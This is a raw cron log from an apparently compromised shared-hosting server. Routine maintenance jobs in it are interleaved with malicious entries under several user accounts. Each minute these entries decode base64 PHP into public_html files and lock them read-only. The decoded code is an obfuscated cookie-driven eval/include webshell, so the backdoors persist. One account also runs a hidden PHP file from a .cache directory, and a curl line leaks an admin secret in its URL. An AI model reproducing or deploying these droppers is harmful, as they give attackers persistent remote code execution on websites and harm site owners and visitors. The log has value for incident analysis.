Mar  2 14:13:01 medusa CROND[15493]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:13:01 medusa CROND[15494]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:13:01 medusa CROND[15495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:13:01 medusa CROND[15502]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:13:01 medusa CROND[15505]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:13:01 medusa CROND[15508]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 14:13:01 medusa CROND[15509]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 14:13:01 medusa CROND[15510]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:13:01 medusa CROND[15512]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 14:13:01 medusa CROND[15520]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:13:01 medusa CROND[15521]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:13:01 medusa CROND[15523]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:13:01 medusa CROND[15524]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:14:01 medusa CROND[5925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:14:01 medusa CROND[5926]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:14:01 medusa CROND[5927]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:14:01 medusa CROND[5928]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:14:01 medusa CROND[5939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:14:01 medusa CROND[5941]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 14:14:01 medusa CROND[5940]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:14:01 medusa CROND[5942]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:14:01 medusa CROND[5943]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:14:01 medusa CROND[5944]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:14:01 medusa CROND[5946]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:14:01 medusa CROND[5945]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:14:01 medusa CROND[5953]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:15:01 medusa CROND[25141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 14:15:02 medusa CROND[25405]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 14:15:02 medusa CROND[25406]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 14:15:02 medusa CROND[25408]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 14:15:02 medusa CROND[25409]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:15:02 medusa CROND[25411]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 14:15:02 medusa CROND[25412]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 14:15:02 medusa CROND[25416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 14:15:02 medusa CROND[25418]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:15:02 medusa CROND[25415]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 14:15:02 medusa CROND[25423]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
